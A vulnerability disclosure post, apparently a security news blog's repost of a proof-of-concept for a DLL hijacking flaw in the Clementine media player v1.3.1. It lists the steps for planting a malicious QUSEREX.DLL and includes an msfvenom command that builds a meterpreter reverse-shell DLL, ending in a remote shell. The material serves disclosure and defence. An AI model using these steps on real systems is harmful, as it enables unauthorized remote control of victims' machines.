> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2024-50986: DLL Hijacking Exploit for Clementine
- URL: https://darkwebinformer.com/cve-20224-50986-dll-hijacking-exploit-for-clementine/
- Published: 2024-11-13T17:49:04.000Z
- Updated: 2025-09-04T22:25:35.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities, Tools

**Description:** An issue in Clementine v.1.3.1 allows a local attacker to execute arbitrary code via a crafted DLL file.

**Version Affected:** Clementine v.1.3.1

**Researcher:** Utkarsh (r1971d3) [LinkedIn](https://www.linkedin.com/in/r1971d3/)

**NIST CVE Link:** <https://nvd.nist.gov/vuln/detail/CVE-2024-50986>

**Vulnerability Type:** Untrusted Search Path

**Affected Component:** QUSEREX.DLL

## Proof-of-Concept Exploit

[](https://github.com/riftsandroses/CVE-2024-50986?tab=readme-ov-file#proof-of-concept-exploit)

### Attack Vector

[](https://github.com/riftsandroses/CVE-2024-50986?tab=readme-ov-file#attack-vector)

To exploit this vulnerability, an attacker must craft a malicious DLL named QUSEREX.DLL and place it in the directory: C:\\Users<username>\\AppData\\Local\\Microsoft\\WindowsApps. When the Clementine application is launched, it will load the malicious DLL, executing the attacker's code.

### Description & Usage

[](https://github.com/riftsandroses/CVE-2024-50986?tab=readme-ov-file#description--usage)

1. Use Process Monitor (procmon) with appropriate filters to identify missing DLLs and track where Clementine is searching for them within the Windows Operating System

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15321-1.png)

1. The search reveals that the DLL "QUSEREX.DLL" is being looked for in multiple locations, including C:\\Users<username>\\AppData\\Local\\Microsoft\\WindowsApps\\

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15322.png)

1. A malicious DLL is created using msfvenom with the following command:

sudo msfvenom -p windows/meterpreter/reverse\_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15323.png)

1. This malicious DLL is placed in the directory C:\\Users<username>\\AppData\\Local\\Microsoft\\WindowsApps, where it is successfully loaded by Clementine.

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15324.png)

1. Using msfconsole, a staged payload is sent through the reverse shell, resulting in a meterpreter shell session being obtained in the C:\\Program Files (x86)\\Clementine\\projectm-presets directory on the target machine.

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15325.png)

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/11/15326-2.png)